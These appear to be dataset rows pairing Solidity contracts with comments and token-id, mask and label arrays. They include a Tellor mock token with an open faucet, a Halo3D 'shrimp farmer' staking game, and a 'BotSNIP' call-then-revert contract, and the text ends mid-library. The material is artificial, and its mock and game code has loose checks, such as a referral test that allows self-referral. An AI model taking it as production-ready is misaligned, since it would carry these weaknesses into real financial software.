event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event TipAdded(address indexed _sender, bytes32 indexed _requestId, uint256 _tip);
event NewValue(bytes32 _requestId, uint256 _time, bytes _value);
mapping(bytes32 => mapping(uint256 => bytes)) public values; //requestId -> timestamp -> value
mapping(bytes32=> mapping(uint256 => bool)) public isDisputed; //requestId -> timestamp -> value
mapping(bytes32 => uint256[]) public timestamps;
mapping(address => uint) public balances;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory _iName, string memory _iSymbol) {
_name = _iName;
_symbol = _iSymbol;
_decimals = 18;
}
/**
* @dev Public function to mint tokens for the passed address
* @param _user The address which will own the tokens
*
*/
function faucet(address _user) external {
_mint(_user, 1000 ether);
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the total supply of the token.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the balance of a given user.
*/
function balanceOf(address _account) public view returns (uint256) {
return _balances[_account];
}
/**
* @dev Transfer tokens from user to another
* @param _recipient The destination address
* @param _amount The amount of tokens, including decimals, to transfer
* @return bool If the transfer succeeded
*
*/
function transfer(address _recipient, uint256 _amount) public virtual returns (bool) {
_transfer(msg.sender, _recipient, _amount);
return true;
}
/**
* @dev Retruns the amount that an address is alowed to spend of behalf of other
* @param _owner The address which owns the tokens
* @param _spender The address that will use the tokens
* @return uint256 Indicating the amount of allowed tokens
*
*/
function allowance(address _owner, address _spender) public view virtual returns (uint256) {
return _allowances[_owner][_spender];
}
/**
* @dev Approves amount that an address is alowed to spend of behalf of other
* @param _spender The address which user the tokens
* @param _amount The amount that msg.sender is allowing spender to use
* @return bool If the transaction succeeded
*
*/
function approve(address _spender, uint256 _amount) public virtual returns (bool) {
_approve(msg.sender, _spender, _amount);
return true;
}
/**
* @dev Transfer tokens from user to another
* @param _sender The address which owns the tokens
* @param _recipient The destination address
* @param _amount The amount of tokens, including decimals, to transfer
* @return bool If the transfer succeeded
*
*/
function transferFrom(address _sender, address _recipient, uint256 _amount) public virtual returns (bool) {
_transfer(_sender, _recipient, _amount);
_approve(_sender, msg.sender, _allowances[_sender][msg.sender] -_amount);
return true;
}
/**
* @dev Internal function to perform token transfer
*/
function _transfer(address _sender, address _recipient, uint256 _amount) internal virtual {
require(_sender != address(0), "ERC20: transfer from the zero address");
require(_recipient != address(0), "ERC20: transfer to the zero address");
_balances[_sender] -= _amount;
_balances[_recipient] += _amount;
emit Transfer(_sender, _recipient, _amount);
}
/**
* @dev Internal function to create new tokens for the user
*/
function _mint(address _account, uint256 _amount) internal virtual {
require(_account != address(0), "ERC20: mint to the zero address");
_totalSupply += _amount;
_balances[_account] += _amount;
emit Transfer(address(0), _account, _amount);
}
/**
* @dev Internal function to burn tokens for the user
*/
function _burn(address _account, uint256 _amount) internal virtual {
require(_account != address(0), "ERC20: burn from the zero address");
_balances[_account] -= _amount;
_totalSupply -= _amount;
emit Transfer(_account, address(0), _amount);
}
/**
* @dev Internal function to approve tokens for the user
*/
function _approve(address _owner, address _spender, uint256 _amount) internal virtual {
require(_owner != address(0), "ERC20: approve from the zero address");
require(_spender != address(0), "ERC20: approve to the zero address");
_allowances[_owner][_spender] = _amount;
emit Approval(_owner, _spender, _amount);
}
/**
* @dev A mock function to submit a value to be read withoun miners needed
* @param _requestId The tellorId to associate the value to
* @param _value the value for the requestId
*/
function submitValue(bytes32 _requestId, bytes calldata _value, uint256 _nonce) external {
require(_nonce == timestamps[_requestId].length, "nonce should be correct");
values[_requestId][block.timestamp] = _value;
timestamps[_requestId].push(block.timestamp);
emit NewValue(_requestId, block.timestamp, _value);
}
/**
* @dev A mock function to create a dispute
* @param _requestId The tellorId to be disputed
* @param _timestamp the timestamp that indentifies for the value
*/
function disputeValue(bytes32 _requestId, uint256 _timestamp) external {
values[_requestId][_timestamp] = bytes("");
isDisputed[_requestId][_timestamp] = true;
}
/**
* @dev Retreive value from oracle based on requestId/timestamp
* @param _requestId being requested
* @param _timestamp to retreive data/value from
* @return bytes value for requestId/timestamp submitted
*/
function retrieveData(bytes32 _requestId, uint256 _timestamp) public view returns(bytes memory) {
return values[_requestId][_timestamp];
}
/**
* @dev Gets if the mined value for the specified requestId/_timestamp is currently under dispute
* @param _requestId to looku p
* @param _timestamp is the timestamp to look up miners for
* @return bool true if requestId/timestamp is under dispute
*/
function isInDispute(bytes32 _requestId, uint256 _timestamp) public view returns(bool){
return isDisputed[_requestId][_timestamp];
}
/**
* @dev Counts the number of values that have been submited for the request
* @param _requestId the requestId to look up
* @return uint count of the number of values received for the requestId
*/
function getNewValueCountbyRequestId(bytes32 _requestId) public view returns(uint) {
return timestamps[_requestId].length;
}
/**
* @dev Gets the timestamp for the value based on their index
* @param _requestId is the requestId to look up
* @param _index is the value index to look up
* @return uint timestamp
*/
function getTimestampbyRequestIDandIndex(bytes32 _requestId, uint256 _index) public view returns(uint256) {
uint256 len = timestamps[_requestId].length;
if(len == 0 || len <= _index) return 0;
return timestamps[_requestId][_index];
}
/**
* @dev Adds a tip to a given request Id.
* @param _requestId is the requestId to look up
* @param _amount is the amount of tips
*/
function addTip(bytes32 _requestId, uint256 _amount) external {
_transfer(msg.sender, address(this), _amount);
emit TipAdded(msg.sender, _requestId, _amount);
}
} | * @dev Internal function to create new tokens for the user/ | function _mint(address _account, uint256 _amount) internal virtual {
require(_account != address(0), "ERC20: mint to the zero address");
_totalSupply += _amount;
_balances[_account] += _amount;
emit Transfer(address(0), _account, _amount);
}
| 5,522,178 | [
1,
3061,
445,
358,
752,
394,
2430,
364,
326,
729,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
81,
474,
12,
2867,
389,
4631,
16,
2254,
5034,
389,
8949,
13,
2713,
5024,
288,
203,
3639,
2583,
24899,
4631,
480,
1758,
12,
20,
3631,
315,
654,
39,
3462,
30,
312,
474,
358,
326,
3634,
1758,
8863,
203,
3639,
389,
4963,
3088,
1283,
1011,
389,
8949,
31,
203,
3639,
389,
70,
26488,
63,
67,
4631,
65,
1011,
389,
8949,
31,
203,
3639,
3626,
12279,
12,
2867,
12,
20,
3631,
389,
4631,
16,
389,
8949,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.18; // solhint-disable-line
contract ERC20Interface {
function transfer(address to, uint256 tokens) public returns (bool success);
}
contract Halo3D {
function transfer(address, uint256) public returns(bool);
function balanceOf() public view returns(uint256);
}
/**
* Definition of contract accepting Halo3D tokens
* Games, casinos, anything can reuse this contract to support Halo3D tokens
*/
contract AcceptsHalo3D {
Halo3D public tokenContract;
function AcceptsHalo3D(address _tokenContract) public {
tokenContract = Halo3D(_tokenContract);
}
modifier onlyTokenContract {
require(msg.sender == address(tokenContract));
_;
}
/**
* @dev Standard ERC677 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint256 _value, bytes _data) external returns (bool);
}
// 50 Tokens, seeded market of 8640000000 Eggs
contract Halo3DShrimpFarmer is AcceptsHalo3D {
//uint256 EGGS_PER_SHRIMP_PER_SECOND=1;
uint256 public EGGS_TO_HATCH_1SHRIMP=86400;//for final version should be seconds in a day
uint256 public STARTING_SHRIMP=300;
uint256 PSN=10000;
uint256 PSNH=5000;
bool public initialized=false;
address public ceoAddress;
mapping (address => uint256) public hatcheryShrimp;
mapping (address => uint256) public claimedEggs;
mapping (address => uint256) public lastHatch;
mapping (address => address) public referrals;
uint256 public marketEggs;
function Halo3DShrimpFarmer(address _baseContract)
AcceptsHalo3D(_baseContract)
public{
ceoAddress=msg.sender;
}
/**
* Fallback function for the contract, protect investors
*/
function() payable public {
/* revert(); */
}
/**
* Deposit Halo3D tokens to buy eggs in farm
*
* @dev Standard ERC677 function that will handle incoming token transfers.
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint256 _value, bytes _data)
external
onlyTokenContract
returns (bool) {
require(initialized);
require(!_isContract(_from));
require(_value >= 1 finney); // 0.001 H3D token
uint256 halo3DBalance = tokenContract.balanceOf();
uint256 eggsBought=calculateEggBuy(_value, SafeMath.sub(halo3DBalance, _value));
eggsBought=SafeMath.sub(eggsBought,devFee(eggsBought));
tokenContract.transfer(ceoAddress, devFee(_value));
claimedEggs[_from]=SafeMath.add(claimedEggs[_from],eggsBought);
return true;
}
function hatchEggs(address ref) public{
require(initialized);
if(referrals[msg.sender]==0 && referrals[msg.sender]!=msg.sender){
referrals[msg.sender]=ref;
}
uint256 eggsUsed=getMyEggs();
uint256 newShrimp=SafeMath.div(eggsUsed,EGGS_TO_HATCH_1SHRIMP);
hatcheryShrimp[msg.sender]=SafeMath.add(hatcheryShrimp[msg.sender],newShrimp);
claimedEggs[msg.sender]=0;
lastHatch[msg.sender]=now;
//send referral eggs
claimedEggs[referrals[msg.sender]]=SafeMath.add(claimedEggs[referrals[msg.sender]],SafeMath.div(eggsUsed,5));
//boost market to nerf shrimp hoarding
marketEggs=SafeMath.add(marketEggs,SafeMath.div(eggsUsed,10));
}
function sellEggs() public{
require(initialized);
uint256 hasEggs=getMyEggs();
uint256 eggValue=calculateEggSell(hasEggs);
uint256 fee=devFee(eggValue);
claimedEggs[msg.sender]=0;
lastHatch[msg.sender]=now;
marketEggs=SafeMath.add(marketEggs,hasEggs);
tokenContract.transfer(ceoAddress, fee);
tokenContract.transfer(msg.sender, SafeMath.sub(eggValue,fee));
}
// Dev should initially seed the game before start
function seedMarket(uint256 eggs) public {
require(marketEggs==0);
require(msg.sender==ceoAddress); // only CEO can seed the market
initialized=true;
marketEggs=eggs;
}
// Reinvest Halo3D Shrimp Farm dividends
// All the dividends this contract makes will be used to grow token fund for players
// of the Halo3D Schrimp Farm
//magic trade balancing algorithm
function calculateTrade(uint256 rt,uint256 rs, uint256 bs) public view returns(uint256){
//(PSN*bs)/(PSNH+((PSN*rs+PSNH*rt)/rt));
return SafeMath.div(SafeMath.mul(PSN,bs),SafeMath.add(PSNH,SafeMath.div(SafeMath.add(SafeMath.mul(PSN,rs),SafeMath.mul(PSNH,rt)),rt)));
}
// Calculate trade to sell eggs
function calculateEggSell(uint256 eggs) public view returns(uint256){
return calculateTrade(eggs,marketEggs, tokenContract.balanceOf());
}
// Calculate trade to buy eggs
function calculateEggBuy(uint256 eth,uint256 contractBalance) public view returns(uint256){
return calculateTrade(eth, contractBalance, marketEggs);
}
// Calculate eggs to buy simple
function calculateEggBuySimple(uint256 eth) public view returns(uint256){
return calculateEggBuy(eth, tokenContract.balanceOf());
}
// Calculate dev fee in game
function devFee(uint256 amount) public view returns(uint256){
return SafeMath.div(SafeMath.mul(amount,4),100);
}
// Get amount of Shrimps user has
function getMyShrimp() public view returns(uint256){
return hatcheryShrimp[msg.sender];
}
// Get amount of eggs of current user
function getMyEggs() public view returns(uint256){
return SafeMath.add(claimedEggs[msg.sender],getEggsSinceLastHatch(msg.sender));
}
// Get number of doges since last hatch
function getEggsSinceLastHatch(address adr) public view returns(uint256){
uint256 secondsPassed=min(EGGS_TO_HATCH_1SHRIMP,SafeMath.sub(now,lastHatch[adr]));
return SafeMath.mul(secondsPassed,hatcheryShrimp[adr]);
}
// Collect information about doge farm dividents amount
// Get tokens balance of the doge farm
function getBalance() public view returns(uint256){
return tokenContract.balanceOf();
}
// Check transaction coming from the contract or not
function _isContract(address _user) internal view returns (bool) {
uint size;
assembly { size := extcodesize(_user) }
return size > 0;
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return a < b ? a : b;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | * Deposit Halo3D tokens to buy eggs in farm @dev Standard ERC677 function that will handle incoming token transfers. @param _from Token sender address. @param _value Amount of tokens. @param _data Transaction metadata./ | function tokenFallback(address _from, uint256 _value, bytes _data)
external
onlyTokenContract
returns (bool) {
require(initialized);
require(!_isContract(_from));
uint256 halo3DBalance = tokenContract.balanceOf();
uint256 eggsBought=calculateEggBuy(_value, SafeMath.sub(halo3DBalance, _value));
eggsBought=SafeMath.sub(eggsBought,devFee(eggsBought));
tokenContract.transfer(ceoAddress, devFee(_value));
claimedEggs[_from]=SafeMath.add(claimedEggs[_from],eggsBought);
return true;
}
| 2,264,260 | [
1,
758,
1724,
670,
287,
83,
23,
40,
2430,
358,
30143,
9130,
564,
316,
284,
4610,
225,
8263,
4232,
39,
26,
4700,
445,
716,
903,
1640,
6935,
1147,
29375,
18,
225,
389,
2080,
225,
3155,
5793,
1758,
18,
225,
389,
1132,
16811,
434,
2430,
18,
225,
389,
892,
225,
5947,
1982,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1147,
12355,
12,
2867,
389,
2080,
16,
2254,
5034,
389,
1132,
16,
1731,
389,
892,
13,
203,
1377,
3903,
203,
1377,
1338,
1345,
8924,
203,
1377,
1135,
261,
6430,
13,
288,
203,
3639,
2583,
12,
13227,
1769,
203,
3639,
2583,
12,
5,
67,
291,
8924,
24899,
2080,
10019,
203,
203,
3639,
2254,
5034,
19514,
83,
23,
2290,
6112,
273,
1147,
8924,
18,
12296,
951,
5621,
203,
203,
3639,
2254,
5034,
9130,
564,
13809,
9540,
33,
11162,
41,
14253,
38,
9835,
24899,
1132,
16,
14060,
10477,
18,
1717,
12,
22314,
83,
23,
2290,
6112,
16,
389,
1132,
10019,
203,
3639,
9130,
564,
13809,
9540,
33,
9890,
10477,
18,
1717,
12,
1332,
564,
13809,
9540,
16,
5206,
14667,
12,
1332,
564,
13809,
9540,
10019,
203,
27699,
3639,
1147,
8924,
18,
13866,
12,
311,
83,
1887,
16,
4461,
14667,
24899,
1132,
10019,
203,
3639,
7516,
329,
41,
75,
564,
63,
67,
2080,
65,
33,
9890,
10477,
18,
1289,
12,
14784,
329,
41,
75,
564,
63,
67,
2080,
6487,
1332,
564,
13809,
9540,
1769,
203,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1285/0x517f5D5f94d2F6FAa48AD889467cCF470064Ba43/sources/src/Interfaces/ITransactionManager.sol | For domain separation
| uint256 receivingChainId; | 834,010 | [
1,
1290,
2461,
5102,
367,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2254,
5034,
15847,
3893,
548,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
pragma abicoder v2;
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract BotSNIP {
using Address for address;
// address used for pay out
function init(bytes memory callData, address payable target) payable external{
(bool success,) = target.call{value:msg.value}(callData);
revert("Success");
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
